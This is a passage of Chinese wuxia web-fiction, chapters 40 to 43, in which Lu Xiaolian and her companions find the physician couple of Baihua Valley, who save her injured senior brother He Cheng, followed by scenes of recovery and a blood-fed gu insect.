赵戎津拦了一下紧跟在他身后的齐越,低声道:“情况未明,你往后退一退,别靠太近。” 被赵戎津的手臂一挡,齐越的脚步顿了一顿。他不以为然地抬眼看赵戎津,正要开口反驳,陆晓怜的声音从身后传来:“我来开门。” 话语落下,陆晓怜轻轻推开挡在身前的几个人,钻到最前面去。她站在门前,毫不犹豫地伸手握住两枚铜环,一边向左,一边向右,同时缓缓转动铜环。 左右两个铜环转至某个契合的角度时,只听得“咔哒”一声轻响,阻拦在他们面前的石门应声缓缓升起,寸寸露出石门之后敞亮明媚的天光来。 此刻临近正午,阳光正盛,光明寸寸蔓延进甬道,逼退所有黑暗泥泞。 少顷,石门完全升起,露出石门后世外桃源般的安宁所在。 花团锦簇中,立着一块石碑。 碑上赫然题着三个字——“百花谷”。 所以,这里才是真正的百花谷? 所有人愕然之际,陆晓怜一马当先,大步迈出去,站在明媚阳光中环顾四周,确认没有危险后,回过头来朝他们招手:“应该就是这里了,我们往前走走。” 第40章 第四十章神医夫妇尚有一线生机,不…… 这里确实是个鸟语花香的好所在。 可没人有心思听鸟赏花,伏在钟晓肩头的贺承气息越发微弱,齐越掐着他的手腕几乎要摸不出他脉搏的起伏,几乎是到了命悬一线的要紧时刻。 陆晓怜心急如焚,马不停蹄地往前走,急着找到神医的踪迹。赵戎津不似她关心则乱,冷静许多,行进中不忘观察周围,防止机关暗箭骤然伤人。他们二人之后跟着齐越、钟晓、金波等人,各司其职,步步紧跟,连金波都打起十二分精神断后。 陆晓怜拿剑削断半人多高的拦路荒草,硬生生开出一条路来。 她不知道被七步岭和鬼斧岭圈起环抱住的这块区域有多大,也不知道名声在外的神医到底在什么地方,更不知道她来不来得及找到神医救贺承。 一颗心在希望与绝望间上下起伏着,她不敢深想,只能埋头赶路。 “陆姑娘当心,前面有人!”行进中,赵戎津忽然伸手扣住陆晓怜的肩膀,将人往后拉回半步,用眼神示意她当心前面密密匝匝的半人高草丛。 陆晓怜停下脚步,却并不闪避,将剑收到身后去,朗声开口:“是神医前辈吗?” 草丛里的人并不说话。 陆晓怜又道:“晚辈青山城陆晓怜,带我师兄前来求医。” 草丛中依旧一片沉默,过了许久,终于有个苍老的声音飘出来:“庄荣是你什么人?” 庄荣是青山城掌门陆岳修的师弟。正是他年轻时在外游历,行至湘城周边,遇见带着弟弟流浪的小乞儿贺承,发现这个五六岁的孩子根骨奇绝,是习武奇才,把贺家兄弟带回青山城,才有后来名满江湖的贺承。 许是因为有这一层关系,即便贺承拜入陆岳修门下,可这些年来仍与师叔庄荣关系匪浅,庄荣待他,甚至比待自己的徒弟钟晓、贺启还要亲厚许多。 陆晓怜摸不准草丛中的人为何认识庄荣?与庄荣究竟是敌是友? 她不敢说太多,只简要答了一句:“他是我师叔。” 草丛里的人又问:“是他让你们来这里找我的?” “是,也不全是。”陆晓怜捉摸不透他问这些的目的,答得异常小心,“师叔曾给我师兄一本书,我们是按书上的指引来到这里的。” “书?什么书还能指路到我这里来?” 草丛里的人疑惑自语,顿了片刻,他恍然大悟地“啊”了一声。只见草木间枝叶横斜晃荡,一阵窸窸窣窣的响动后,一位头发发灰,留着两撇八字胡子,看起来比庄荣略年长几岁的男子站到陆晓怜面前。 “您便是神医前辈?” 刚刚从草丛里钻出来的神医一摆手:“神医不神医的,之后再说。小丫头,我问你,拿了庄荣那本书的人,今日也来了吗?” 陆晓怜心一横,点头道:“来了,便是我师兄。”随即,她向来人抱拳行礼:“我师兄受了重伤,命悬一线,求神医前辈救救他。” 闻言,神医的两撇胡子抖了抖:“怎,怎么又命悬一线了?人在哪儿呢?我看看。” 陆晓怜侧身让出一条路,神医踩着遍地杂草,深一脚浅一脚地走到贺承身边,搭上他腕上寸关,只稍稍探了脉搏,他的脸色就变了:“带着他跟我来,快点,再迟些就真救不回来了。” 通往神医居所的路崎岖难行,好在钟晓底盘功夫扎实,背着贺承每一步都走得四平八稳,小心翼翼将人扶到神医所住的竹屋中躺好,钟晓才勉强松下半口气。 将病人安顿好,神医不急着给贺承把脉,反而转过身来,将所有同行之人的手腕摸了一遍后,一手拉着陆晓怜,一手拉着钟晓,站到贺承床边。 他探了探钟晓的手腕,摇头自语:“不行,你这内功路数跟他还不能算是一家,不仅救不了命,反倒会要了他的命。”他松开钟晓,又去捉陆晓怜的手腕,眉头依旧拧着,语气烦躁:“小丫头倒是跟他练着同一门心法,可功力也太弱了,能管什么用啊!” 听到这里,陆晓怜还没来得及沮丧自责,便听得一个女声由远及近而来:“南门迁,你在那里絮絮叨叨什么啊?不是去药圃了吗?怎么就回来了?到底有没有给我的草药浇水……” 说话的声音和脚步声越来越近,终于停在门外。 众人转头,与一名穿着素色衣裙的妇人四目相对。 江湖传闻,百花谷中住着神医夫妇。 想来,这位妇人也是神医之一。 金波站在门边,离得最近,学着陆晓怜刚刚的模样,乖乖巧巧地自我介绍起来:“前辈好,我们是来求医的。” 那妇人愣了愣,没顾得上回应金波,急忙伸着脖子往房里看,眼见南门迁全须全尾地站在床边给人诊脉,松了口气。之后才顾得上仔细打量一屋子的人,一改方才风风火火的模样,挂上客气的笑容,客套道:“你们能找到这里来,也不容易。” 金波觉得自己应该说点什么,却又说不出什么,嘿嘿干笑两声,算是回应。 倒是屋里的南门迁听见妻子的声音,转过身来朝她招招手:“阿妩,你快来,这个人不大好,我想用你的药笼试试,你来看看行不行?” 潘妩拨开人群走进去,搭着贺承的手腕沉吟少许,道:“可以一试,但——” 南门迁没让妻子说完那句转折,他抬手覆上她的手背,捏着她的手指,在贺承腕上挪动几寸,摸到浅浅一痕两三寸的旧伤疤。 潘妩眼瞳一震,猛然抬头,看向南门迁。 南门迁无声颔首:“尚有一线生机,不能不试。” 南门迁与潘妩既是神仙眷侣,也是同道知音,南门迁长于医治,潘妩精于制药,两人联手自是锦上添花。潘妩年轻时,忘了是为了救什么人,用湘城紫竹编了一只足足能躺下一人的熏笼,在熏笼底下铺上药材,用碳火烘着,能令药气穿透肌理直达病灶,确实救了不少灌不进汤药,化不开药力的病人。 贺承被送到南门迁面前时,只剩一口气将将悬着,用潘妩的药笼最好不过。 夫妇二人头抵头凑在贺承床前商议了片刻,南门迁先抬头,朝陆晓怜招手,将人喊到贺承身边去:“我要在药笼中为他施针,但准备药笼需要时间,他未必能撑得住,你来护住他的心脉。” 往贺承身上打进一脉内息的事,钟晓在南州城里便做过。 那时他还不知道这人便是他的贺师兄,也不知道他经脉里有伤,没轻没重地将内息灌到他的经脉之中,将人冲撞得当场呕出血来,险些要了他半条命。 想到这里,钟晓忙出声提醒南门迁:“前辈,我师兄经脉受损,恐怕受不住。” 南门迁嗤笑一声,横了他一眼:“我给他诊了半天脉,会发现不了?你以为我为什么要挑这个功力平平的小丫头来护住他的心脉?非得是与他师出同门的内息打进去,才不至于令他经脉中的内息奋然抵抗,反而加剧他的伤势。” 陆晓怜点头,只问他:“要我怎么做?” “不难。”南门迁并起两指,自贺承腹脐处,顺着经脉寸寸往上探,最终将手指抵在他心窝处,“我一会会施针,让他的经脉脏腑都休眠,处于几乎停滞状态,你要做的,便是从这里打一脉内息进去,旁的不必管,但务必确保他的心脉不可断绝。我和阿妩准备药笼大约需要半个时辰,也就是说,你得护他大约半个时辰,能坚持吗?” “能!”陆晓怜毫不犹豫,“便是耗尽我的内力,我也会护住师兄。” 得了她这句话,南门迁定下心来,从身上摸出一方布包,在床边的几案上展开。 一旁的潘妩与他配合默契,已经从袖中取出一把艾绒,送入几案上的小钵中点燃。南门迁细细挑选了一枚银针,在点燃的艾绒中淬着火,片刻后,手腕一翻,稳稳刺入贺承肋下某处穴位。 只见贺承微微一震,口唇间幽幽吐出一口气,单薄的胸口竟再不见起伏。 陆晓怜脸色发白:“师兄……” 南门迁眼皮一掀,语气严厉:“愣着干什么?赶紧护住他的心脉。” 经南门迁提醒,陆晓怜回过神来,心知此刻是救贺承要紧的时刻,忙伸手抵在贺承心窝处,自丹田中提起一脉内息,缓缓打入贺承体内。 许是南门迁那一针的原因,又许是贺承当真已行至末路油尽灯枯,陆晓怜将一脉内息打进去,只觉得他体内竟然空空荡荡,没有一丝阻拦,由着她这一脉内息长驱直入,径直抵住他的心脉。 陆晓怜脊背沁出一层冷汗。 此刻的贺承孱弱无力,若守在他身边的人不是陆晓怜,是那些举着刀剑嚷嚷着要为死在青山城的那几位青年才俊报仇的人,贺承哪里还能活命? 她觉得害怕,更觉得心痛。 人为刀俎我为鱼肉,她引以为傲的贺师兄,怎么会有这样的一天? 南门迁迅速查看了一番贺承此刻的情况,朝潘妩略一点头。潘妩会意,对钟晓他们说:“我们就在院子里,来两个人搭把手,这里有什么情况,你们随时来找我们。”说罢,收了桌上的针灸包与药袋,与南门迁一同出门去了。 齐越通晓医理,去帮忙最合适不过,赵戎津自然跟在他身后,也走出门去。房间里只剩下陆晓怜、钟晓和金波守着。 半个时辰的时间,说长不长,说短不短。 陆晓怜的师父是她的亲爹陆岳修,陆掌门看不得女儿吃苦,在她练功这件事上向来睁一只眼闭一只眼,功力没有精进,也绝不对她说一句重话,导致的后果便是她如今空有一身花架子似的漂亮招数,內身功夫寥寥可数。 之前有贺承和她大哥陆兴剑护着,陆晓怜也不觉得这样有什么不好,可此刻要护住贺承,她那贫瘠得可怜的内力便捉襟见肘起来。 半个时辰刚刚过半,陆晓怜的脸色已经开始泛白,额角渗出岑岑冷汗。 钟晓忧心忡忡:“师姐,还能撑得住吗?” 陆晓怜没力气应他,死死咬着发白的唇,冲着他微微点头后,目光又落回贺承身上。 床榻上的贺承依旧悄无声息地睡着,脸色惨白,唇色发青。 若不是陆晓怜的手抵在他心口,隔着薄薄的一层皮肉,能感受到他胸腔里微弱跳动的脏器,她几乎要以为,她那无所不能的师兄早已经不在了。 她累极了,可是又开心极了。 十多年来,都是他将她安安生生地护在身后,这一回,她终于能为他做点什么了。 她想着,等师兄醒了,她要告诉他,是她救了他,她已经长大了,她已经不是那个只知道躲到师兄身后的小丫头了,以后遇到什么事情,不要再把她推开,她努力努力,还是可以与他并肩而立,共担风雨的! 随着时间的推移,陆晓怜觉得身上越来越冷,丹田中翻搅起异样的冷痛,几乎要将她的腹部撕裂搅碎一般。 可她依旧将手掌死死抵在贺承胸口,寸步不让。 半个时辰…… 她答应过的,她一定可以做到…… 终于,陆晓怜听见身后传来脚步声。 她又冷又痛,意识已经有些模糊,隐约听见齐越的声音像在水里一样,缥缈断续地传来:“……前辈…………让我们……沈兄扶过去……” 所以,可以了吗?师兄就要获救了吗? 陆晓怜觉得自己的手僵硬沉重得收不回来,勉力一抬,手臂沉沉地坠下去。她不愿意影响他们救治贺承,强撑着坐在一旁,从牙缝里挤出声音:“你们快送师兄过去,我在这儿歇会。” 钟晓不放心,扶着她问:“师姐,你当真没事吗?” 她没有力气多说,只微微摇头,推开他的手:“快去!” 一阵兵荒马乱的脚步声后,房间里恢复如死的沉寂。 金波没有走,她觉察出陆晓怜脸色不对,小心翼翼地凑近过来,扶住她的肩膀:“晓怜姐姐,你脸色不大好,你怎么啦?” 陆晓怜眼前一片昏黑,只问她:“他们,带师兄走了吗?” “是,钟晓和小齐大夫带他去找神医前辈了,你放心。” 陆晓怜轻轻点了下头,攥着金波的一角衣袖,低声说:“让他们好好给师兄疗伤,别惊动他们……”话音悠悠落下,她蓦然呛出一口血来,倒进金波臂弯里。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 40-50 第41章 第四十一章苏醒师兄,我是不是也挺…… 陆晓怜觉得自己做了很长很长的一个梦。 梦里的场景像小时候看集市上的人变戏法一般,一会儿一个样子,刚刚好像还在青山城里追着少年贺承放纸鸢,一转眼就看见无涯洞外陆兴剑不能瞑目的尸首,倏尔抬头,贺承就脸色煞白地站一边,手里的凌空剑还滴滴答答往下淌着血…… “师兄!” 挣扎着从重重叠叠的梦境中醒来,陆晓怜迷迷糊糊地伸着手去拉梦中的人,只觉得身子一轻,睁眼的同时,已经身手敏捷地翻身坐起。 守在一旁打盹的金波被这边的动静一惊,睁 眼看过来,欣喜道:“晓怜姐姐,你终于醒了!”她边手忙脚乱地往陆晓怜身后塞软枕,扶她靠到软枕上,边絮絮叨叨地说话:“你已经睡了三天了,南门前辈和潘前辈都来看过你,倒是没有什么大碍,就是一直紧绷着,又运功消耗太大,才会昏过去。” 陆晓怜对这些没兴趣,声音发哑地问:“我师兄呢?” “沈,哦,不对,应该叫贺大哥。”金波倒了杯茶水递给她,“他也没事,两位前辈救了他,他就在隔壁静养,甚至比你早醒了半天呢。只是贺大哥之前伤得太重了,南门前辈说,他还得卧床静养一阵子,钟晓守着他呢,你不要担心。” “我要去看看他。” 边说着,陆晓怜边掀开被子便要起身,她话音刚落,门外闪身进来一道人影,一手推着她的肩膀将她摁回床上去,一手将一碗黑黢黢的汤药放在床边的矮几上。接着,潘妩略带着心疼与责备的声音传来:“好好躺着,刚醒的人瞎折腾什么。” “我想去看看我师兄。” “他醒来的时候没见着你,也是这么说的。”潘妩笑笑,扣着陆晓怜的手腕诊脉,显然是对她恢复情况还算满意,潘妩点点头,端起桌上的汤药递到陆晓怜眼前,“有意思,你自己内力不济,可经脉脏腑间却有一股强盛的功力护着,轻易伤不了你,怪不得恢复得这样快。这是你们青山城的什么绝学?” 陆晓怜捧着药碗,一脸茫然地看着潘妩。 潘妩痴迷药学,对江湖上的武功心法没什么兴趣,随口一提,并不打算追根究底,盯着陆晓怜乖乖把自己辛辛苦苦熬出来的汤药喝了个精光,目光越发温和慈爱:“好孩子,你师兄就在隔壁,你刚刚喝过药,歇会儿再过去看他。” 一墙之隔的隔壁房间,气氛则没有如此和谐融洽。 贺承比陆晓怜早醒了半日,醒来便一心要见陆晓怜,谁劝都不管用。偏偏陆晓怜那时还没醒,没人敢让他知道陆晓怜为了救他力竭昏迷,胡乱编排了采药、晒药、熬药各种各样的工作出来,给尚在昏睡的陆晓怜安排了满满当当的行程。 可这谎话本身就很不高明,采药、熬药是挺要紧的事情,可怎么也不至于要紧到让陆晓怜都抽不出一刻钟来看贺承一眼。南门迁和潘妩在的时候还好,贺承会卖前辈几分面子,不生硬地拆穿他们,可如今房间里只剩钟晓一个人守着,哪里会被他贺师兄放在眼里? 贺承用手臂支撑着身体,身形不稳地坐在床边,胸口剧烈起伏着。虽经南门迁夫妇医治,才勉强捡回一条命来,可他此刻气势丝毫不减,盯着钟晓的目光如鹰隼般锐利:“说实话,晓怜到底怎么了?” “刚刚说了的,师姐去给你熬药了。” 贺承瞟了一眼床边矮几上的空药碗,气极反笑:“药我都喝两碗了,她还没熬完?” 钟晓硬撑:“大概是南门前辈又配了什么新的方子。他刚刚也说了,冰冻三尺非一日之寒,你这身子得好好养一养……” 贺承懒得跟他啰嗦,扶着床沿站起身,脚步虚浮地往外走:“我自己去找。” 南门迁特意交代过,贺承的命只是暂时捡回来了半条,身上那些古古怪怪的伤,他和潘妩还要叫上齐越一同商讨治疗之法。在此期间,贺承不可疾行、不可动武、不可劳累、不可情绪激荡,最好是安安静静地躺在床上当个衣来伸手、饭来张口的废物。 看着贺承摇摇晃晃地站起来,钟晓吓得脸都白了,连忙伸手去扶,动之以情晓之以理:“南门前辈说了,你的伤还不算好,现在不能乱动的,你别……” 贺承急着找人,没剩几分耐心,不等钟晓说完,便推开他的搀扶,脚步虚浮地朝外走去。可他在鬼门关外走一遭,刚刚醒来,还是孱弱异常,强撑着走到门边,便是冷汗岑岑,眼前黑云重重。 他扶着门框摇摇欲坠,心中默念着陆晓怜的名字,强撑着不肯倒下去。 钟晓几步跟了过来,不敢扶他,只站在一旁担心地喊他:“师兄——” 他不想理钟晓,暗里咬牙,又勉强往前迈了一步。可他到底太过虚弱,体力难支,落地时脚下一软,竟蓦然向前跌了下去。 “师兄!”钟晓惊呼,伸手要去将人扶住,却不想有人比他早了一步。 那人穿着淡青色衣衫,明明本在十步以外,却见那人身形微动,一抹快出残影的淡青色闪过,在眨眼间落到贺承身前来,张着手臂将贺承稳稳接在怀里。 此人步法之稳,身法之快,令钟晓看得有些呆了—— 他上一回见到轻身功夫这样好的人,还是他贺师兄。 可此人站定,钟晓仔细看去,不免呆得更厉害了。他无声地张了张嘴,好一会儿才找回自己的声音,半是错愕半是僵硬:“师,师姐?” 虽说轻功要紧的是腿脚上的功夫,可要想练得纯熟,总还是免不了要调动周身内息。陆晓怜天资有限,当年陆岳修对她没什么别的要求,只逼着她练好轻功,遇险时好作为逃生的依仗,如今她的步法、身法在青山城同辈的弟子中是最出众的,可受制于内力低微,却往往不能发挥出十之八九的功力来。 可今日却不然。 不知是太过担心贺承,还是有什么别的原因,她方才侧身横飞过来的那一瞬,轻灵敏捷如贴地而行的飞燕,与南州城里飞身救下江阿小的贺承别无二致—— 那可是令“一竿身”吴万里都拍手赞叹的轻身功夫! 钟晓没料到,他师姐什么时候竟然变得这么厉害了? 陆晓怜也隐约觉得自己的身法比平日里轻盈许多,可此刻揽着摇摇欲坠的贺承,不及深想,和钟晓一道半扶半抱地将人送回床榻上,握着他清瘦的手腕,叠声问他:“师兄,师兄,你觉得怎么样?” 她性子时而有些急,与身边人相关的事情上,更是一刻也等不得。 贺承一口气堵在胸口没缓过来,回应她的时机稍稍晚了几分,便听得她扭头去喊钟晓:“两位前辈呢?钟晓,你快去喊前辈过来看看!” “不必。”贺承闷声咳出胸口堵着的那口浊气,手腕一翻,宽大的手掌覆过陆晓怜的手背,冰凉的手指轻轻叩了叩她的手背,抬眼朝钟晓的方向看,稍稍提高了几分音量将扭头要出门的人喊了回来,“钟晓,回来。” 他气息不稳,话音刚落,便偏过头去抵着唇止不住地咳嗽,直咳得脸色泛红。 陆晓怜心疼得眼眶都红了,坐在床沿上,伸手便将咳得几乎要坐不稳的贺承揽进怀里,拍抚着他清瘦的脊背,声声安抚:“你别急啊,不喊前辈便不喊,钟晓这不是还没去嘛!” “是是是,师兄,我还在这里呢!”钟晓边说话,边适时地递了杯温水过去。 贺承倚在陆晓怜怀里喝了小半杯水,压下咳意,看看陆晓怜,又看看钟晓,黑亮的眼眸里光彩稍稍黯下去些许,泛白的唇挽起苦笑:“做师兄的人,没能照顾你们,反倒要你们这样小心翼翼地顾着哄着。” 钟晓性子直,不会说漂亮话,不会哄人,听到贺承这样说,想着他出类拔萃的师兄如今伤病缠身,落得这副模样,心里难受得厉害,自己红了眼眶,喃喃喊着“师兄”,却说不出什么宽慰人的话。 陆晓怜抿着唇沉默少许,有些不耐地看了一旁哭卿卿的钟晓一眼,开口道:“这里有我守着,你去看看前辈那里有什么要帮忙的。” 与陆晓怜耳鬓厮磨的人是贺承,钟晓当然走得爽快,甚至没忘了给他们掩上门。 贺承的咳嗽已经止住,此刻已经能安安稳稳地坐着,可陆晓怜将他拥在怀中,却越搂越紧,迟迟不 肯松开手。沉默了半晌,她终于忍不住扭头将脸埋进他的肩窝,声音哽咽:“师兄,我差点就救不回你了。” 在进入南门迁夫妇居住地前,贺承便已经失去意识,后来他们如何穿过甬道,陆晓怜如何开启机关打开石门,他们如何遇见南门迁,陆晓怜如何拼尽全力吊住贺承的一口气,这些他通通不知道。 陆晓怜自小在青山城众人的呵护下长大,无忧无虑,顺风顺水,极度惊慌极度孤立无援的时刻,只有两回:一回是半年前青山城无涯洞外遍地横尸,她的兄长惨死其间,她的父亲不知所踪,她的师兄被指做凶手,另一回便是几天前,她的师兄悄无声息地倒在她怀中,气息微弱,命悬一线。 这些事情发生在她眼前时,她无法逃避,她无处求援,她不能后退半步。 可她终究还是会怕的。 在过去的半年时间里,她好像已经一个人翻过万米的山,涉过千里的水,走了很远很远的路,虽然她的大哥已经死了,她的父亲依旧下落不明,可她至少找到了贺承,她终于找到一个能接纳她的怀抱,痛痛快快哭一场。 她在贺承怀里吸着鼻子,抽抽搭搭地将找到南门迁夫妇经过说了一遍,连自己以微薄得可怜的内力护着贺承的心脉,力竭昏睡都没有隐瞒。她仰头,眸光闪闪地盯着贺承,像一只刚刚学会捕猎,等待夸奖的小兽:“师兄,我是不是也挺厉害的?” 贺承低头看她,目光黝黑深邃,像是欲言又止地藏着某些未能说出口的话。他轻轻一笑,苍白如冰封的脸上,如春风过境,破开暖意与生气:“是啊,很厉害。” 很厉害…… 这么厉害,一定可以自己走下去…… 这么厉害,我就可以放心了…… 第42章 第四十二章以血饲蛊这蛊虫的年纪比…… 陆晓怜醒来后,恨不得便长在贺承身边。贺承睡着的时候,她在他床边趴着,贺承醒着的时候,她抱着他的手臂自说自话,几日后贺承养出点力气走出房间晒太阳,她更是像条尾巴似的寸步不离地跟着。 贺承伤势有所好转,暂时没有性命之虞,南门迁和潘妩悬着的心终于落下几分,有空在竹屋里对坐饮茶。远远见了两个年轻人挽着手在小径漫步,他们并不出声打扰,相视会心一笑,顺便看了一眼自己身后。 他们的身后是一整面墙的药柜,齐越近日得两位前辈点播,医术又精进不少,此刻正拿着药碾子一面专心致志地制着药,一面指挥赵戎津顺梯子上上下下给他取药材。赵戎津自是言听计从,只是决计不肯吃一点亏,每取一样药材回来,都要凑到齐越身边,至少要讨一句夸奖。 日光和煦,草木明润,年华静好。 所有人都开开心心的,只除了从“沈烛横刀夺爱”这场大梦中,醒转不久的钟晓。 他躲着贺承和陆晓怜,只望日子长了,他们能把他之前说过的话、做过的事忘个七七八八,大家回青山城还能继续兄友弟恭,和睦相处。 可偏偏金波找上了门。 别人出双入对的,金波只有那只从七步岭捉回来的血红色小蛊虫作伴。不知道是不是那日涉水进山,受药泉水的影响,小蛊虫这两日总显得没什么精神,金波找齐越要了两片断肠草、两条蜈蚣干喂给它,它也缩在罐子的一角,理也不理。 金波捧着装蛊虫的罐子来找同样落单的钟晓:“我的蛊虫好像病了,什么也不吃,能不能请你跟你师兄要几滴血,喂给它试试看?” “我不去!”钟晓断然拒绝,见金波可怜巴巴地举着蛊虫,心有不忍,又说,“师兄仗义,你与我们同行这么久,不必我说,你自己去找他,他也会答应的。” “可是晓怜姐姐终日与他形影不离。” 钟晓眉心一蹙,不解:“所以呢?” 金波瘪瘪嘴:“我是怕晓怜姐姐舍不得。” 舍不得什么?舍不得刺破贺承的手指,挤几滴血喂给金波的小蛊虫吗? 钟晓乍听之下觉得离谱,但转念一想,那是他腻腻歪歪的师兄师姐,又觉得合情合理。只是,此刻贺承和陆晓怜相依相守有多甜蜜,当初他严防死守不让“沈烛”乘虚而入,便有多可笑,他实在不爱到贺承和陆晓怜面前晃荡。 金波不知他心中纠结,拉着他的手臂恳求:“我想办法引开晓怜姐姐,你帮我去跟贺大哥说,好不好?拜托拜托,只有你能帮我了!” 钟晓到底是个好人。 好人本就容易心软。 何况,那是个拉着他的手,软软糯糯撒着娇的姑娘。 鬼使神差地,钟晓点了头,答应为了金波“深入虎穴”,去找被他躲了好几天的好师兄讨要几滴血。 金波欢快地惊呼出声,钟晓低头看她忽闪忽闪的大眼睛,心想,色令智昏便是如此。 事实上,金波还是低估了支开陆晓怜这件事的难度。她旁敲侧击地抛出各种各样的借口试图激起陆晓怜的好奇心,比如在哪里看见一只虫子,在哪里看见一株草药。可子之蜜糖彼之砒霜,金波感兴趣的东西,陆晓怜兴趣寥寥,任她说得眉飞色舞,陆晓怜始终挽着贺承的手臂无动于衷。 最终,还是贺承可怜她辛苦,在她提到她家乡有一种糕点的时候,插进话来:“这糕点听着有点意思,用料和做工似乎也不算复杂,晓怜,你要不去跟金姑娘学学?” 金波心思单纯,自己的动机早就暴露无遗,却还不自知,兴奋地点头附和:“对对对,学学吧,不难的!” 陆晓怜看一眼裹着毯子倚在躺椅上的贺承。 养了几日,这人依旧是一副面白唇青的模样。虽然捡回了一条命,可南门迁还是叮嘱了得好好静养,把他独自留在这里,陆晓怜还是觉得心中不安。 她有些迟疑:“你一个人在这里没事吗?” “小齐大夫和南门前辈他们都在这附近,有事能招呼得到。”贺承目光掠过草丛里隐隐约约的那道身影,轻笑,“能有什么事?就是我想尝尝你做的糕点。” 贺承最后这句话实在管用得很。 这几日他喝的药比吃的饭还多,难得提出想吃点什么。陆晓怜听了这话,不敢耽搁,简单又交代了几句,就一步三回头,不放心地跟着金波离开。 等到两个姑娘转出了庭院,贺承撑着躺椅扶手稍稍坐起,朝草丛的方向招招手:“终于不躲着我了吗?出来吧。” 草丛里的人便是与金波打配合的钟晓。 钟晓不仅三番两次棒打鸳鸯,在他们找到神医前,更是毫不客气地打了贺承一拳,实在不好意思见贺承。于是,自从陆晓怜醒来,贺承身边有人照顾,钟晓便安安生生地退到人群后面去,默默采药、熬药,再没好意思往贺承身边凑。 此刻,从草丛里面钻出来站到贺承面前,竟有一种赤身裸体站在皇皇阳光下的不自在,绞着手站着,颤巍巍地喊了声:“师,师兄——” 贺承嘲弄挑眉:“现在认得我了?” 一句话把钟晓说得耳朵都红了,不服气地争辩:“谁能想得到,沈烛会是你?” 确实很难想到。 贺承低头看了一眼自己的手。他伤病缠身,消瘦了许多,连一双手臂,都已经不是以前有力的模样。所幸,他此前还没有病到下不来床的地步,并不曾荒废武功,虽然清瘦,手臂上的肌肉依旧柔韧有力,线条也还算流畅利落。 可这与半年前的贺承,确实算得上判若两人了。 贺承虚虚握了握拳,盯着自己指节突兀的手,无奈苦笑:“是,谁又能想到,整日三灾六病的药罐子‘沈烛’,会是我呢?” “我不是这个意思……” “我知道。”贺承不以为意,“我只是提醒你,没认出我来,也不是你的错。” 钟晓抿了下唇:“可是师姐认出来了啊。” 贺承失笑:“所以说你是呆子,所以说晓怜机 灵啊。” 不止一个人说过钟晓就是个呆子,可他并不是呆傻,他只是认死理,看准了一条道就要走到底,信了一个人就不会有半分动摇,他这样的性子,撞上了南墙也不知道可以回头,只会死死站在那里,跟墙对峙,非得把墙凿出一个洞来。 此刻贺承这样半开玩笑地说他,显然没有生他的气,钟晓心里松快,几乎便要将他没认出贺承的那段日子干的乱七八糟的事翻遍过去。可他一板一眼惯了,又觉得这事不能没有个交代,抓了抓头发,又自己把这事提了起来:“师兄,我前些日子说的话做的事,你别往心里去呀。” “我没往心里去。”贺承收敛起笑意,神情有些严肃,盯着钟晓的目光愈发黑深,“我知道你是为我不平,只是以后再有这样的事,如果晓怜遇上的是个好人,你别拦着。” “什么意思?你,你不是都回来了吗?怎么还会有什么别的人?” 老实人钟晓茫然的模样逗得人想笑,贺承看着他,忍不住轻笑出声,笑意冲淡了他眼中的沉郁,令他整个人看着明亮而有精神。他拍拍钟晓的肩膀:“字面上的意思,以后你就懂了。说说你,你让金波支开晓怜,有什么事?” 经贺承提醒,钟晓才想起自己要做什么,忙不迭从怀中摸出金波养蛊虫的那只小罐子,说明了来意后,才想起要关心他师兄:“师兄,你觉得怎么样?南门前辈说你气血虚弱,这样冒然取血,会不会害了你?” 贺承挑眉:“都把蛊虫递到我眼前了,才想起要关心我?” 钟晓老实,开不起玩笑,被贺承一问,愣住当场,吐不出半句话。 然而,他师兄没想着放过他,继续笑吟吟地问他:“我有点想不明白,或长或短,晓怜总还是有不在我身边的时候,金姑娘明明可以自己来找我,为什么兜了一大圈,拉你下水?” 看钟晓抿紧了嘴唇,依旧一言不发,贺承笑意更深:“当然,我更想不明白的是,你都躲我三五日了,南门前辈都叫不动你,怎么金姑娘几句话,你就带着人家的小蛊虫,巴巴跑来找我?” 钟晓是有些呆,却绝不是傻,当然听得懂贺承的言外之意,于是他刚刚退了红的耳朵,又火急火燎地染上颜色。人心里越是着急,嘴上越是说不出话,他张了嘴又闭上,反复几轮,最后也只能无奈地嘟囔一句:“师兄,你别取笑我了。” “好好好。”贺承伸手从怀里摸出贴身藏着的小匕首,嘴上敷衍应着好,开口依旧是羞死钟晓的话,“不逗你了,难得开窍一回,可别被我再给吓回去。” 钟晓又急又恼,不仅耳尖红得要滴出血,脸颊也烧起来了,忍不住提高了音量:“师兄!” 贺承也不是第一次逗他,早知道他脾气好,再恼也不过是这样不痛不痒地喊声“师兄”。他没理钟晓,笑着取过他怀里的罐子,拿匕首割破手指,挤了四五滴血进去。 两人还没来得及细看缩在罐子里的蛊虫有什么反应,却听见一阵急乱的脚步声。 “怎么了?怎么了?你师兄怎么了?”南门迁远远地看见站着的钟晓,高声急问。 是钟晓刚刚恼羞成怒的那声“师兄”,把南门迁和潘妩引了过来。 他们老当益壮,走得很快,钟晓来不及回答,两人已经站到他们面前,一眼便看见贺承指尖上的一簇殷红。南门迁气得胡子抖了抖,恶狠狠地瞪钟晓:“这怎么回事?都说了他气虚血亏,每日我温补的方子好生养着,勉勉强强才能喘气,你又把他怎么了?” 他何德何能,能把他师兄怎么了? 钟晓张张嘴,解释不出个所以然来。 还是贺承举着手里的罐子,向两位前辈解释:“不怪钟晓,我们进谷时在七步岭上捉了一只难得的蛊虫,小蛊虫莫名对我亲近。这几日大概是受了惊,不吃不喝的,我们怕它死了,想着用我的血喂喂它。” “小蛊虫?”南门迁与潘妩对视一眼。潘妩道:“能不能给我们看看?” 贺承小心翼翼地递出罐子,南门迁夫妇凑过去看了一眼,便听得南门迁哈哈一笑,抬头对贺承说:“你们叫它小蛊虫?它年纪比你们都大!” 第43章 第四十三章秋梧半死丹最了解秋乌半…… 贺承错愕:“南门前辈还懂养蛊?” 南门迁连连摆手:“这是南疆秘术,我哪里会懂。当初住进百花谷时便见过这只蛊虫,我们在这里已经住了二十多年,它可不就是比你们年纪还大吗?” “那前辈可知道,这蛊虫为何会同我师兄亲近?”钟晓追着问,顺便把他们在七步岭中遇险,被这只蛊虫所救的事也同南门迁夫妇说了。他探头看了一眼罐子里的蛊虫,不解地嘟囔着:“你们看,师兄挤几滴血进去,它都活泼了不少。” 